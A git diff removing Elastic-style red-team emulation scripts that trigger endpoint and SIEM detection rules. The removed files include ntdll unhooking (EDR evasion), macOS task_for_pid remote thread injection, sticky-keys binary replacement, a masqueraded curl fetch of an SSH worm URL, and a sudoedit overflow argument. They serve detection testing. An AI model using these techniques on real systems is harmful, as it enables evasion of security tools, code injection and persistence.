err) - os.Exit(1) - } - - case "chain": - chainCommand.Parse(os.Args[2:]) - if *chainIP == "" || *chainPort == 0 || *chainCmd == "" { - fmt.Println("Missing IP address, port, or command") - chainCommand.PrintDefaults() - os.Exit(1) - } - conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", *chainIP, *chainPort)) - if err != nil { - fmt.Println("Failed to connect:", err) - } else { - conn.Close() - } - - time.Sleep(10 * time.Millisecond) - - cmd := exec.Command("/bin/sh", "-c", *chainCmd) - cmd.Stdout = os.Stdout - cmd.Stderr = os.Stderr - err = cmd.Run() - if err != nil { - fmt.Println("Failed to execute command:", err) - os.Exit(1) - } - - default: - fmt.Println("Invalid command") - fmt.Println("Usage:") - fmt.Println(" netcon -h -p ") - fmt.Println(" exec -c ") - fmt.Println(" chain -h -p -c ") - os.Exit(1) - } -} \ No newline at end of file diff --git a/rta/src/rta_unhook_ldrload.cpp b/rta/src/rta_unhook_ldrload.cpp deleted file mode 100644 index 0930119ad..000000000 --- a/rta/src/rta_unhook_ldrload.cpp +++ /dev/null @@ -1,90 +0,0 @@ -#include -#include -#include -#include - - -typedef NTSTATUS(NTAPI* pLdrLoadDll) ( - PWCHAR PathToFile, - ULONG Flags, - PUNICODE_STRING ModuleFileName, - PHANDLE ModuleHandle - ); - -typedef VOID(NTAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); - -HMODULE NtLoad(LPCWSTR lpFileName) { - UNICODE_STRING ustrModule; - HANDLE hModule = NULL; - - HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); - pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString"); - - RtlInitUnicodeString(&ustrModule, lpFileName); - - pLdrLoadDll myLdrLoadDll = (pLdrLoadDll)GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll"); - if (!myLdrLoadDll) { - return NULL; - } - - NTSTATUS status = myLdrLoadDll(NULL, 0, &ustrModule, &hModule); - return (HMODULE)hModule; -} - -int main() -{ - HANDLE process = GetCurrentProcess(); - MODULEINFO mi = {}; - HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); - STARTUPINFO si; - PROCESS_INFORMATION pi; - STARTUPINFOW initInfo = { 0 }; - initInfo.cb = sizeof(initInfo); - PROCESS_INFORMATION procInfo = { 0 }; - - - GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); - LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; - HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); - HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); - LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0); - - PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; - PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); - - // unhook current proces ntdll .txt section - for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { - PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); - - if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) { - DWORD oldProtection = 0; - bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); - memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); - isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); - } - } - - // load ws2_32.dll from unhooked ntdll to trigger "Potential NTDLL Memory Unhooking" - HANDLE ws32 = LoadLibraryA("C:\\Windows\\system32\\ws2_32.dll"); - printf("[+] - ws2_32.dll loaded at 0x%p\n", ws32); - - // create notepad.exe from unhooked ntdll to trigger "Process Creation from Modified NTDLL" - CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, (LPSTARTUPINFOA)&initInfo, &procInfo); - printf("[+] - notepad.exe created from unhooked ntdll\n"); - - // load psapi.dll via LdrLoadDll to trigger "Suspicious Image Load via LdrLoadDLL" - HMODULE psapi = NtLoad(L"psapi.dll"); - printf("[+] - psapi.dll loaded at 0x%p via LdrLoadDll\n", psapi); - - printf("[+] - RTA Done!\n", psapi); - - // close handles - CloseHandle(process); - CloseHandle(ntdllFile); - CloseHandle(ntdllMapping); - CloseHandle(ws32); - CloseHandle(psapi); - FreeLibrary(ntdllModule); - - return 0; -} diff --git a/rta/src/sleep.c b/rta/src/sleep.c deleted file mode 100644 index 352dc4d98..000000000 --- a/rta/src/sleep.c +++ /dev/null @@ -1,22 +0,0 @@ -#include -#include -#include -int main(int argc, char *argv[]) -{ - if (argc == 2) - { - printf("Sleeping for %s seconds.\n", argv[1]); - sleep(atoi(argv[1])); - } - else if (argc > 2) - { - printf("Too many arguments supplied.\n"); - return -1; - } - else - { - printf("One argument expected.\n"); - return -1; - } - return 0; -} diff --git a/rta/src/thread_injector_intel.c b/rta/src/thread_injector_intel.c deleted file mode 100644 index 35710ef05..000000000 --- a/rta/src/thread_injector_intel.c +++ /dev/null @@ -1,160 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include - -#define STACK_SIZE 65536 -#define CODE_SIZE 128 - -/* This shellcode is just an infinite loop */ -char injectedCode[] = - "\x90" - "\x90" - "\xeb\xfe" - "\x90" - "\x90" - "\x90"; - -int inject(pid_t pid) -{ - task_t remoteTask; - mach_error_t kr = 0; - - /** - * Second - the critical part - we need task_for_pid in order to get the task port of the target - * pid. This is our do-or-die: If we get the port, we can do *ANYTHING* we want. If we don't, we're - * #$%#$%. - */ - - kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue!\n", pid, mach_error_string(kr)); - return (-1); - } - - mach_vm_address_t remoteStack64 = (vm_address_t)NULL; - mach_vm_address_t remoteCode64 = (vm_address_t)NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else { - fprintf(stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } - /** - * Then we allocate the memory for the thread - */ - remoteCode64 = (vm_address_t)NULL; - kr = mach_vm_allocate(remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - - /** - * Write the (now patched) code - */ - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t)injectedCode, // Source - sizeof(injectedCode)); // Length of the source - - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } - - /* - * Mark code as executable - This also requires a workaround on iOS, btw. - */ - kr = vm_protect(remoteTask, remoteCode64, sizeof(injectedCode), FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - - /* - * Mark stack as writable - not really necessary - */ - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Unable to set memory permissions for remote thread: Error %s\n", mach_error_string(kr)); - return (-4); - } - - /* - * Create thread - This is obviously hardware specific. - */ - x86_thread_state64_t remoteThreadState64; - - thread_act_t remoteThread; - - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64)); - - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 - - const char *p = (const char *)remoteCode64; - - remoteThreadState64.__rip = (u_int64_t)(vm_address_t)remoteCode64; - - // set remote Stack Pointer - remoteThreadState64.__rsp = (u_int64_t)remoteStack64; - remoteThreadState64.__rbp = (u_int64_t)remoteStack64; - - printf("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p); - - /* - * create thread and launch it in one go - */ - - kr = thread_create_running(remoteTask, x86_THREAD_STATE64, - (thread_state_t)&remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread); - - //kr = thread_create(remoteTask, &remoteThread); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Unable to create remote thread: error %s", mach_error_string(kr)); - return (-3); - } - - // Wait for mach thread to finish -/* mach_msg_type_number_t thread_state_count = x86_THREAD_STATE64_COUNT; - for (;;) { - kr = thread_get_state(remoteThread, x86_THREAD_STATE64, (thread_state_t)&remoteThreadState64, &thread_state_count); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Error getting stub thread state: error %s", mach_error_string(kr)); - break; - } - - if (remoteThreadState64.__rax == 0xD13) { - printf("Stub thread finished\n"); - kr = thread_terminate(remoteThread); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Error terminating stub thread: error %s", mach_error_string(kr)); - } - break; - } - }*/ - - sleep(5); - - return 0; -} - -int main(int argc, const char *argv[]) -{ - if (argc < 2) { - fprintf(stderr, "Usage: %s _pid_ \n", argv[0]); - exit(0); - } - - pid_t pid = atoi(argv[1]); - inject(pid); -} diff --git a/rta/src/thread_injector_m1.c b/rta/src/thread_injector_m1.c deleted file mode 100644 index 742ae9c55..000000000 --- a/rta/src/thread_injector_m1.c +++ /dev/null @@ -1,154 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include - -#define STACK_SIZE 65536 -#define CODE_SIZE 128 - -/* This shellcode is just an infinite loop */ -char injectedCode[] = - "\x00\x00\x00\x14"; - -int inject(pid_t pid) -{ - task_t remoteTask; - mach_error_t kr = 0; - - /** - * Second - the critical part - we need task_for_pid in order to get the task port of the target - * pid. This is our do-or-die: If we get the port, we can do *ANYTHING* we want. If we don't, we're - * #$%#$%. - */ - - kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue!\n", pid, mach_error_string(kr)); - return (-1); - } - - mach_vm_address_t remoteStack64 = (vm_address_t)NULL; - mach_vm_address_t remoteCode64 = (vm_address_t)NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else { - fprintf(stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } - /** - * Then we allocate the memory for the thread - */ - remoteCode64 = (vm_address_t)NULL; - kr = mach_vm_allocate(remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - - /** - * Write the (now patched) code - */ - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t)injectedCode, // Source - sizeof(injectedCode)); // Length of the source - - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } - - /* - * Mark code as executable - This also requires a workaround on iOS, btw. - */ - kr = vm_protect(remoteTask, remoteCode64, sizeof(injectedCode), FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - - /* - * Mark stack as writable - not really necessary - */ - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Unable to set memory permissions for remote thread: Error %s\n", mach_error_string(kr)); - return (-4); - } - - /* - * Create thread - This is obviously hardware specific. - */ - arm_thread_state64_t remoteThreadState64; - - thread_act_t remoteThread; - - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64)); - - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 - - const char *p = (const char *)remoteCode64; - - remoteThreadState64.__pc = (u_int64_t)(vm_address_t)remoteCode64; - remoteThreadState64.__lr = (u_int64_t)(vm_address_t)remoteCode64; - // set remote Stack Pointer - remoteThreadState64.__sp = (u_int64_t)remoteStack64; - - printf("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p); - - /* - * create thread and launch it in one go - */ - - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, - (thread_state_t)&remoteThreadState64, ARM_THREAD_STATE64_COUNT, &remoteThread); - - //kr = thread_create(remoteTask, &remoteThread); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Unable to create remote thread: error %s", mach_error_string(kr)); - return (-3); - } - - // Wait for mach thread to finish -/* mach_msg_type_number_t thread_state_count = x86_THREAD_STATE64_COUNT; - for (;;) { - kr = thread_get_state(remoteThread, x86_THREAD_STATE64, (thread_state_t)&remoteThreadState64, &thread_state_count); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Error getting stub thread state: error %s", mach_error_string(kr)); - break; - } - - if (remoteThreadState64.__rax == 0xD13) { - printf("Stub thread finished\n"); - kr = thread_terminate(remoteThread); - if (kr != KERN_SUCCESS) { - fprintf(stderr, "Error terminating stub thread: error %s", mach_error_string(kr)); - } - break; - } - }*/ - - sleep(5); - - return 0; -} - -int main(int argc, const char *argv[]) -{ - if (argc < 2) { - fprintf(stderr, "Usage: %s _pid_ \n", argv[0]); - exit(0); - } - - pid_t pid = atoi(argv[1]); - inject(pid); -} diff --git a/rta/ssh_bruteforce.py b/rta/ssh_bruteforce.py deleted file mode 100644 index b5f717196..000000000 --- a/rta/ssh_bruteforce.py +++ /dev/null @@ -1,58 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata -from multiprocessing import Process - - -metadata = RtaMetadata( - uuid="61369084-af6a-4fd0-903f-b44467f5d6e7", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Potential SSH Brute Force Detected", "rule_id": "ace1e989-a541-44df-93a8-a8b0591b63c0"}], - techniques=["T1110"], -) - - -def test(masquerade, masquerade2): - common.execute([masquerade2, "childprocess", masquerade], timeout=0.3, kill=True) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/sshd-keygen-wrapper" - masquerade2 = "/tmp/launchd" - common.create_macos_masquerade(masquerade) - common.create_macos_masquerade(masquerade2) - - # Execute command - common.log("Launching fake ssh keygen commands to mimic ssh bruteforce") - processes = [] - - for i in range(25): - p = Process( - target=test, - args=( - masquerade, - masquerade2, - ), - ) - processes.append(p) - - for i in processes: - i.start() - - for i in processes: - i.join() - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/ssh_it_worm.py b/rta/ssh_it_worm.py deleted file mode 100644 index e11dcab4c..000000000 --- a/rta/ssh_it_worm.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="3ad5efdc-c186-4dbd-b5ce-f8d1f102002c", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential SSH-IT SSH Worm Downloaded", - "rule_id": "cb351778-7329-4de9-82b5-6705f772a3af", - }, - ], - siem=[], - techniques=["T1021", "T1563"], -) - - -@common.requires_os(metadata.platforms) -def main() -> None: - masquerade = "/tmp/curl" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Launching fake curl commands to download payload") - common.execute([masquerade, "curl", "https://thc.org/ssh-it/x"], timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/sticky_keys_write_execute.py b/rta/sticky_keys_write_execute.py deleted file mode 100644 index af2643c3c..000000000 --- a/rta/sticky_keys_write_execute.py +++ /dev/null @@ -1,80 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Overwrite Accessibiity Binaries -# RTA: sticky_keys_write_execute.py -# signal.rule.name: Potential Modification of Accessibility Binaries -# signal.rule.name: Local Service Commands -# signal.rule.name: Persistence via TelemetryController Scheduled Task Hijack -# ATT&CK: T1015 -# Description: Writes different binaries into various accessibility locations. - -import time -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="398933ec-f8d4-4d81-93ed-e7d7adcb9d97", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "7405ddf1-6c8e-41ce-818f-48bea6bcaed8", - "rule_name": "Potential Modification of Accessibility Binaries", - }, - { - "rule_id": "68921d85-d0dc-48b3-865f-43291ca2c4f2", - "rule_name": "Persistence via TelemetryController Scheduled Task Hijack", - }, - ], - techniques=["T1546", "T1053"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - # Prep - bins = [ - "sethc.exe", - "utilman.exe", - "narrator.exe", - "magnify.exe", - "osk.exe", - "displayswitch.exe", - "atbroker.exe", - ] - calc = Path("\\windows\\system32\\calc.exe").resolve() - temp = Path("temp.exe").resolve() - - # loop over bins - for bin_name in bins: - - bin_path = Path("\\Windows\\system32\\" + bin_name).resolve() - - # Back up bin - common.copy_file(bin_path, temp) - - # Change Permissions to allow modification - common.execute(["takeown", "/F", bin_path, "/A"]) - common.execute(["icacls", bin_path, "/grant", "Administrators:F"]) - - # Copy Calc to overwrite binary, then run it - common.copy_file(calc, bin_path) - common.execute(bin_path, kill=True, timeout=1) - - # Restore Original File and Permissions on file - common.copy_file(temp, bin_path) - common.execute(["icacls", bin_path, "/setowner", "NT SERVICE\\TrustedInstaller"]) - common.execute(["icacls", bin_path, "/grant:r", "Administrators:RX"]) - common.remove_file(temp) - - # Cleanup - time.sleep(2) - common.execute(["taskkill", "/F", "/im", "calculator.exe"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/sudo_exploit.py b/rta/sudo_exploit.py deleted file mode 100644 index 4f1219001..000000000 --- a/rta/sudo_exploit.py +++ /dev/null @@ -1,46 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="da35cb80-dad9-4995-ac11-6a408843cd12", - platforms=["linux", "macos"], - endpoint=[ - {"rule_name": "Sudo Heap-Based Buffer Overflow Attempt", "rule_id": "95718a3c-edc7-46ef-978b-77891ca6198f"}, - ], - siem=[{"rule_name": "Sudo Heap-Based Buffer Overflow Attempt", "rule_id": "f37f3054-d40b-49ac-aa9b-a786c74c58b8"}], - techniques=["T1068", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log( - "Executing command to simulate attempted use of a heap-based buffer overflow vulnerability for the " - "Sudo binary in Unix-like systems(CVE-2021-3156)", - ) - # The exploit reproduction is available - # https://www.sudo.ws/security/advisories/unescape_overflow/ - # https://blog.aquasec.com/cve-2021-3156-sudo-vulnerability-allows-root-privileges - - masquerade = "/tmp/sudo" - if common.CURRENT_OS == "macos": - common.create_macos_masquerade(masquerade) - else: - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - common.log("Launching fake xargs command to execute Sudo Heap-Based Buffer Overflow Attempt") - common.execute([masquerade, "-s", "sudoedit", "*\\\\"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/susp_scheduled_task_creation.py b/rta/susp_scheduled_task_creation.py deleted file mode 100644 index 4e1bb16d5..000000000 --- a/rta/susp_scheduled_task_creation.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="0a766d3c-baee-4bc2-8997-e4e450f77253", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - {"rule_name": "Regsvr32 with Unusual Arguments", "rule_id": "5db08297-bf72-49f4-b426-f405c2b01326"}, - {"rule_name": "Suspicious Scheduled Task Creation", "rule_id": "beebd95c-93f4-46d2-a902-053bfe78686b"}, - ], - siem=[], - techniques=["T1218", "T1053", "T1036", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - regsvr32 = "C:\\Users\\Public\\regsvr32.exe" - common.copy_file(EXE_FILE, regsvr32) - - cmd = "schtasks.exe /create /tr C:\\Users\\Public\\ /mo minute" - # Execute command - common.execute([regsvr32, "/c", cmd], timeout=10) - common.remove_file(regsvr32) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/susp_script_file_name.py b/rta/susp_script_file_name.py deleted file mode 100644 index 31ef516b5..000000000 --- a/rta/susp_script_file_name.py +++ /dev/null @@ -1,51 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="84579cd0-2b30-4846-9b4e-9663ae2c400a", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Windows Script File Name", "rule_id": "8c69476a-d8ea-46da-8052-6a4f9254125c"}, - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "Script Execution via Microsoft HTML Application", - "rule_id": "f0630213-c4c4-4898-9514-746395eb9962", - }, - ], - siem=[], - techniques=["T1036", "T1218", "T1566", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - mshta = "C:\\Users\\Public\\mshta.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, mshta) - - cmd = "ls ~\\Downloads\\*.pdf.js" - # Execute command - common.log("Modifying the OriginalFileName attribute") - common.execute( - [rcedit, mshta, "--set-version-string", "OriginalFileName", "mshta.exe"], - timeout=10, - ) - common.execute([mshta, "/c", cmd], timeout=5, kill=True) - - common.remove_files(mshta, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_bits_job_notify.py b/rta/suspicious_bits_job_notify.py deleted file mode 100644 index 43595c69d..000000000 --- a/rta/suspicious_bits_job_notify.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="bc4c85e7-c2c6-497c-a52e-7c8896a79ab2", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'c3b915e0-22f3-4bf7-991d-b643513c722f', 'rule_name': 'Persistence via BITS Job Notify Cmdline'}], - techniques=['T1197'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - svchost = "C:\\Users\\Public\\svchost.exe" - child = "C:\\Users\\Public\\child.exe" - common.copy_file(EXE_FILE, child) - common.copy_file(EXE_FILE, svchost) - - common.execute([svchost, "echo", "BITS", ";", child], timeout=5, kill=True) - common.remove_files(child, svchost) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_child_acrobat.py b/rta/suspicious_child_acrobat.py deleted file mode 100644 index 16712d38f..000000000 --- a/rta/suspicious_child_acrobat.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d62cd5fb-0e8f-4f20-9477-b8622772ed16", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '53a26770-9cbd-40c5-8b57-61d01a325e14', 'rule_name': 'Suspicious PDF Reader Child Process'}], - techniques=['T1204'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - acrobat = "C:\\Users\\Public\\Acrobat.exe" - arp = "C:\\Windows\\System32\\arp.exe" - common.copy_file(EXE_FILE, acrobat) - - # Execute command - common.execute([acrobat, "/c", arp], timeout=2, kill=True) - common.remove_file(acrobat) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_child_childless_process.py b/rta/suspicious_child_childless_process.py deleted file mode 100644 index 91186789e..000000000 --- a/rta/suspicious_child_childless_process.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b63e7b4a-85a6-4b4f-bf72-abe49d04b24f", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '6a8ab9cc-4023-4d17-b5df-1a3e16882ce7', - 'rule_name': 'Unusual Service Host Child Process - Childless Service' - }], - techniques=['T1055', 'T1055.012', 'T1055'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - svchost = "C:\\Users\\Public\\svchost.exe" - rta = "C:\\Users\\Public\\rta.exe" - common.copy_file(EXE_FILE, rta) - common.copy_file(EXE_FILE, svchost) - - common.execute([svchost, "echo", "WdiSystemHost", ";", rta], timeout=5, kill=True) - common.remove_files(rta, svchost) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_child_compattelrunner.py b/rta/suspicious_child_compattelrunner.py deleted file mode 100644 index 46905a55a..000000000 --- a/rta/suspicious_child_compattelrunner.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="82e913eb-441b-4c93-bad9-6340af0cc71b", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '68921d85-d0dc-48b3-865f-43291ca2c4f2', - 'rule_name': 'Persistence via TelemetryController Scheduled Task Hijack' - }], - techniques=['T1053', 'T1053.005'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - compattelrunner = "C:\\Users\\Public\\compattelrunner.exe" - child = "C:\\Users\\Public\\child.exe" - common.copy_file(EXE_FILE, child) - common.copy_file(EXE_FILE, compattelrunner) - - common.execute([compattelrunner, "/c", child, "echo", "-cv"], timeout=5, kill=True) - common.remove_files(child, compattelrunner) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_child_dns.py b/rta/suspicious_child_dns.py deleted file mode 100644 index bc684c327..000000000 --- a/rta/suspicious_child_dns.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="9f58f9e7-a0f5-48e6-a924-d437fd626195", - platforms=["windows"], - endpoint=[], - siem=[ - {'rule_id': '8c37dc0e-e3ac-4c97-8aa0-cf6a9122de45', 'rule_name': 'Unusual Child Process of dns.exe'}, - {'rule_id': 'c7ce36c0-32ff-4f9a-bfc2-dcb242bf99f9', 'rule_name': 'Unusual File Modification by dns.exe'} - ], - techniques=['T1133'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - 